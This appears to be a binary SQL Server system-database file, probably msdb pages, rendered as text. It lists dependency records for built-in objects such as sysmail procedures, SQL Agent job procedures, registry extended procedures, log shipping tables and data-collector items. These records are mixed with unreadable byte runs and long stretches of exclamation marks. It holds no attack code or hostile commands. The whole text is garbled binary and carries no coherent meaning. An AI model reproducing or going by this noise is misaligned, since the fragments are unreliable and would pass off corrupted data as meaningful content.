LvE&ߞ?-0!e	@\bjsysmail_drop_user_credential_spdbomsdb0!e	@:@Hsysmail_serverdbomsdb0!e	@PV^sysmail_verify_account_spdbomsdb0!e	@\bjsysmail_verify_accountparams_spdbomsdb0!e	@\bjsysmail_verify_addressparams_spdbomsdb0;++f	@,2:sysjobsdbomsdb0JEf	@<BJsysmail_accountdbomsdb0JEf	@\bjsysmail_drop_user_credential_spdbomsdb0JEf	@:@Hsysmail_serverdbomsdb0JEf	@PV^sysmail_verify_account_spdbomsdb0tOg	p:MSdistpublishers0tOg	p.sp_add_job0tOg	p>sp_add_jobschedule0tOg	p:sp_add_jobserver0tOg	p6sp_add_jobstep0tOg	@6<Dsp_start_jobdbomsdb0tOg	@8>Fsyscategoriesdbomsdb0tOg		@4:Bsysjobstepsdbomsdb0tOg	@28@systaskidsdbomsdb0ig	@<BJsysmail_accountdbomsdb0ig	@:@Hsysmail_serverdbomsdb0ig	@PV^sysmail_verify_account_spdbomsdb0sh	p4sp_delete_job0sh	pHsp_manage_jobs_by_login0sh	@6<Dsysjobs_viewdbomsdb0sh	@28@systaskidsdbomsdb0h	@<BJsysmail_accountdbomsdb0h	@:@Hsysmail_serverdbomsdb0h	@PV^sysmail_verify_account_spdbomsdb0i	@>DLsystargetserversdbomsdb0i	@RXdxp_instance_regdeletevaluedbomaster0i	@DJVxp_instance_regreaddbomaster0i	@FLXxp_instance_regwritedbomaster0i	@JPXsysmail_profileaccountdbomsdb0i	@PV^sysmail_verify_account_spdbomsdb0i	@PV^sysmail_verify_profile_spdbomsdb0i	@LRZsp_is_sqlagent_startingdbomsdb0i	@BHPsp_sqlagent_notifydbomsdb0i	p8sp_verify_alert0i	@06>sysalertsdbomsdb0i	@8>Fsyscategoriesdbomsdb0.ֺj	@JPXsysmail_profileaccountdbomsdb0.ֺj	@PV^sysmail_verify_account_spdbomsdb0.ֺj	@PV^sysmail_verify_profile_spdbomsdb0Xj	@HNVsp_add_alert_internaldbomsdb0gk	@JPXsysmail_profileaccountdbomsdb0gk	@PV^sysmail_verify_account_spdbomsdb0gk	@PV^sysmail_verify_profile_spdbomsdb0k	@LRZsp_is_sqlagent_startingdbomsdb0k	@BHPsp_sqlagent_notifydbomsdb0k	@06>sysalertsdbomsdb0Y_g	pHsp_log_shipping_in_sync0Y_g	@JPXlog_shipping_primariesdbomsdb0h	p^sp_log_shipping_get_date_from_file0h	pHsp_log_shipping_in_sync0h	@JPXlog_shipping_primariesdbomsdb0h	@NT\log_shipping_secondariesdbomsdb0˧i	@JPXlog_shipping_primariesdbomsdb0˧i	@NT\log_shipping_secondariesdbomsdb0&Kf	`syspolicy_policy_execution_history_details_internaldbo0&Kf	pd0&Kf	@LRZsyspolicy_configurationdbomsdb0&Kf	`@Fsyspolicy_policiesdbo0&Kf	`hnsyspolicy_system_health_state_internaldbo0&Kf	`V\sp_syspolicy_check_membershipdbo0K?g	`rxsyspolicy_policy_execution_history_internaldbo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0t
h

l.L

8
j		&	|4^fD`x2~@z2~
jxNDp`\2bwLF^R0//	pRsyscollector_collector_types0//	`TZsyscollector_collector_typesdbo0/	pHsp_help_jobhistory_full0/	pFsp_help_jobhistory_sem0/	pNsp_help_jobhistory_summary0/	p>sp_verify_job_date0/	pLsp_verify_job_identifiers0/	p>sp_verify_job_time0/	@,2:sysjobsdbomsdb0/	@8>Fsysjobserversdbomsdb0>0	pDsp_post_msx_operation0>0	@X^fsp_sqlagent_has_server_accessdbomsdb0>0	@BHPsp_sqlagent_notifydbomsdb0>0		pLsp_verify_job_identifiers0>0	`DJSQLAGENT_SUSER_SNAMEdbo0>0	@8>Fsyscategoriesdbomsdb0>0	@,2:sysjobsdbomsdb0>0	@6<Dsysjobs_viewdbomsdb0>0	@8>Fsysjobserversdbomsdb0>0	@4:Bsysjobstepsdbomsdb0>0
	@6<Dsysoperatorsdbomsdb0>0	@>DLsystargetserversdbomsdb0b1	pDsp_post_msx_operation0b1	@BHPsp_sqlagent_notifydbomsdb0b1	pLsp_verify_job_identifiers0b1	@8>Fsysjobserversdbomsdb0b1	@>DLsystargetserversdbomsdb0E $0	`hnsyscollector_collection_items_internaldbo0~D1	p`sp_syscollector_stop_collection_set0~D1	`hnsp_syscollector_verify_collection_itemdbo0~D1	`V\syscollector_collection_itemsdbo0~D1	`TZsp_syscollector_validate_xmldbo0~D1	pbsp_syscollector_start_collection_set0~D1	pxsp_syscollector_update_collection_item_internal0~D1	`TZsyscollector_collection_setsdbo0/	pDsyspolicy_object_sets0/	p>syspolicy_policies0T:0	`RXsyspolicy_target_set_levelsdbo0T:0	plsp_syspolicy_verify_object_set_references0T:0	`FLsyspolicy_target_setsdbo0T:0	pVsyspolicy_object_sets_internal0T:0	pDsyspolicy_object_sets0T:0	p>syspolicy_policies0T:0	pBsyspolicy_conditions0T:0	pVsp_syspolicy_delete_object_set0T:0		`hnsyspolicy_system_health_state_internaldbo0T:0
	`V\sp_syspolicy_check_membershipdbo0/	`TZsyn_sysutility_ucp_databasesdbo0&y0	`V\syn_sysutility_ucp_filegroupsdbo09Jm1	`TZsyn_sysutility_ucp_datafilesdbo_syscollector_stop_collection_set0~D1	`hnsp_syscollector_verify_collection_itemdbo0~D1	`V\syscollector_collection_itemsdbo0~D1	`TZsp_syscollector_validate_xmldbo0~D1	pbsp_syscollector_start_collection_set0~D1	pxsp_syscollector_update_collection_item_internal0~D1	`TZsyscollector_collection_setsdbo0h2	`hnsyscollector_collection_items_internaldbo03	p`sp_syscollector_stop_collection_set03	`hnsp_syscollector_verify_collection_itemdbo03	pxsp_syscollector_delete_collection_item_internal03	`V\syscollector_collection_itemsdbo03	`TZsyscollector_collection_setsdbo0)3	pTsysschedules_localserver_view0)3	pVsp_verify_schedule_identifiers0)3	@bhpsyscollector_config_store_internaldbomsdb0)3	`flsyscollector_collection_sets_internaldbo0)3	`flsp_syscollector_verify_collection_setdbo0)3	`V\syscollector_collection_itemsdbo0)3	`TZsyscollector_collection_setsdbo0)3	`RXsp_syscollector_create_jobsdbo0)3		pPsp_verify_proxy_identifiers0b4	p0sp_stop_job0b4	`flsyscollector_collection_sets_internaldbo0b4	`flsp_syscollector_verify_collection_setdbo0b4	`sp_syscollector_get_collection_set_execution_statusdbo0b4	`TZsyscollector_collection_setsdbo05	@HNZxp_sqlagent_enum_jobsdbomaster05	`TZsyscollector_collection_setsdbo0/	pDsyspolicy_object_sets0/	p>syspolicy_policies0T:0	`RXsyspolicy_target_set_levelsdbo0T:0	plsp_syspolicy_verify_object_set_references0T:0	`FLsyspolicy_target_setsdbo0T:0	pVsyspolicy_object_sets_internal0T:0	pDsyspolicy_object_sets0T:0	p>syspolicy_policies0T:0	pBsyspolicy_conditions0T:0	pVsp_syspolicy_delete_object_set0T:0		`hnsyspolicy_system_health_state_internaldbo0T:0
	`V\sp_syspolicy_check_membershipdbo0^1	`4:sysjobs_viewdbo0/	`TZsyn_sysutility_ucp_databasesdbofT
0djh
$
		@	`zX|0
J		b
|
z6`



P@v*t0Zx4r&T`KxI{wps	^eEs	^$k^d]^d]^d]^d]s	^^s	^^s	^)?K-~_9-~_9-~_9-~_9-~_9-~_9-~_9-~_9-~_9-~_9	-~_9
-~_9-~_9-~_9
-~_9-~_9-~_9Qr`eEQr`(CQr`(CQr`(CQr`jJQr`MޅQr`-~_Qr`9Qr`9Qr`9Qr`9Qr`9Qr`9Qr`9Qr`9	Qr`9
Qr`9Qr`9Qr`9
Qr`9Qr`9Qr`9Qr`~HQr`~HQr`~H	Qr`~H
Qr`1oVQr`ȃcQr`)?KQr`)?KQr`)?KQr`)?KQr`)?KWZbd]WZbd]WZbd]WZbd]WZbd]
WZbj8WZbj8WZbj8WZbj8WZbj8
#I_׶l\#I_w!#I_w!#I_w!G=`'G=`'G=`'G=`׶l\G=`R5G=`w!G=`w!G=`w!k1a׶l\k1aw!k1aw!k1aw!X_(CX_;P=`X_=`rW=`rW=`rW=`rW=`@[Y=`@[Ya`@[Ya`@[Ya`@[YucrWucrWucrWucrWucrWucrWucrWucrWucrW	ucrW
ucrWucrWuc@[Yuc@[Yuc@[Yuc@[Yuc@[Yuc@[Yuc@[Yuc@[Yuc@[Y	uc@[Y
uc@[Yuc@[Yuc@[Y
uc@[Yuc@[Yuc@[YW`Dڎ'W`.^W`.^W`.^{a=yk{a=yk{a=yk{a"wb=ykb=ykb=ykbbaS,baS,b.^b.^b.^b.^b.^b|b|Kģc=ykKģc=ykKģc.^Kģc.^Kģc.^Kģc.^=)_\=)_\=)_\=)_\=)_\=)_\EbEbEbEb
EbEbEbEbEbEbEbEbEbEb
EbEbEbEbigzigzigzigzigzig\ig\ig\ig\ig\ig\X_(CX_;P=`X_=`rW=`rW=`rW=`rW=`@[Y=`@[Ya`@[Ya`@[Ya`@[Yuc<bucaucrWucrWucrWucrWucrWucrWucrWucrWucrW	ucrW
ucrWucrWuc@[Yuc@[Yuc@[Yuc@[Yuc@[Yuc@[Yuc@[Yuc@[Yuc@[Y	uc@[Y
uc@[Yuc@[Yuc@[Y
uc@[Yuc@[Yuc@[YdrWdrWdrWdrWdrWdrWdrW
drWdrWd@[Yd@[Yd@[Yd@[Y	d@[Y
d@[Yd@[Yd@[Y
d@[Yd@[Yd@[YerWerWerWerWe@[Ye@[Ye@[Ye@[YY_gaY_grWY_grWY_grWY_grWY_grWY_grWY_grWY_grWY_grW	Y_grW
Y_grWY_grWW`Dڎ'W`.^W`.^W`.^{a=yk{a=yk{a=yk{a"wb=ykb=ykb=ykbbaS,baS,b.^b.^




d
H
,

hL0lP4
tX@$x\< D(|`lP4|<		t	X	


`D(,dH8pThL0lP4x\ 			
p
T
8


pT8tX< x\@$		|$@`|}KFyIFXPuoMmo+\o+\q&m1q&m10s_2Tt_2Tt_2Tt0s.v&m1.v&m1gw&m1gw&m1gw&m1gw&m1gw&m1gw&m1gwJrgw.v~x&m1~x&m1~x3~x3~x4~x4~x)?K~xqp+\p+\pȃcpȃcpȃcpȃcpȃcpȃcpȃcpȃcpȃc	pȃc
pȃcpȃcpȃc
pȃcpȃcpȃcpȃcpȃcpȃcpȃcݜqeEݜqeEݜqeE
ݜqeEݜqeEݜqeE
ݜqeEݜqeEݜqȃcݜqȃc rȃc rȃcY&s rY&sȃcY&sȃcY&sȃcJytd]JytHaJytHaJytȃcJytȃcnmuwdnmuwdnmuwdnmuJytnmuHanmuHanmuiMavwdavwdavwdavJytavHaavHaaviM=Uwwd=Uwwd=Uwwd=UwJyt=UwHa=UwHa=UwiMvIxHavIxHavIxȃcvIxȃc=y9=y9=y9=y9=y9
=y9=yە
sp׶l\spx[sp֣sp֣sp֣gq׶l\gqx[gq֣gq֣gq֣[r׶l\[rx[[r֣[r֣[r֣/Ps׶l\/Ps2
m/Psx[/Ps֣/Ps֣/Ps֣/Psw!/Psw!h@Dt%Xh@DtAh@DtAh@DtAh@DtAh@DtAh@DtKod8uh@Dtڈ,vh@DtwZuswZuswZuswZuswZuswZuswZuswZus	wZus
wZuswZus~u=yk~u=yk~u=yk~u=yk~u=yk~u=yk~u=yk
~u=yk~u=yk~u=yk
~u=ykvZ>pvZ>pvZ>p"w=yk"w=yk"w=yk"w=yk"w=yk[x=yk[xZ>p[xZ>p[xZ>p[xZ>pipeipeipeipeipeip0	pqeqeqPjqPjqPjqPjqPjq0	prerererere,sPj,sPjMPteMPteMPtetuetuetuPjtuPjtuPjvevewPjwPjwPj1xe1xeovM`ovM`ovM`oH?pð?p9I=?pA?pA?pA?pmR?pmR?pmR?pK?pK?pK?pl
?pH!s3!s3!sH#FtWJ#FtWJ#FtWJ#Ft4^#Ft4^#Ftr#Ft:WE#Ft:WE#Ft:WE#Ft:WE#Ft:WE#FtK#FtK#FtK
#FtK#Ft3#Ft3#Ft3#Ft3#Ft3#Ft3
#Ft+X#Ft+X#Ftro|#Ftro|#Ftro|#Ftro|#FtHβuw#FtβuwH;dtր];dtps;dt.HS;dtEbi|e!i|aV/8i|aV/8i|aV/8i|aV/8i|aV/8i|w!i|w!i|\i|\wZuswZusP4


llP8t

p
T
4x\@X< (				

8
p$x\ 		X	<	t	T8tX<|\@$x x\@$`D(@$hL0dH4,lP|`D||`D(`D(H
,
d





d
H,dH,0hLhL0T8Xt<phL0lP4pT| `{KVzC0|6_2|60sC"63C"63C"64C"646K6K6K6K	6H!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!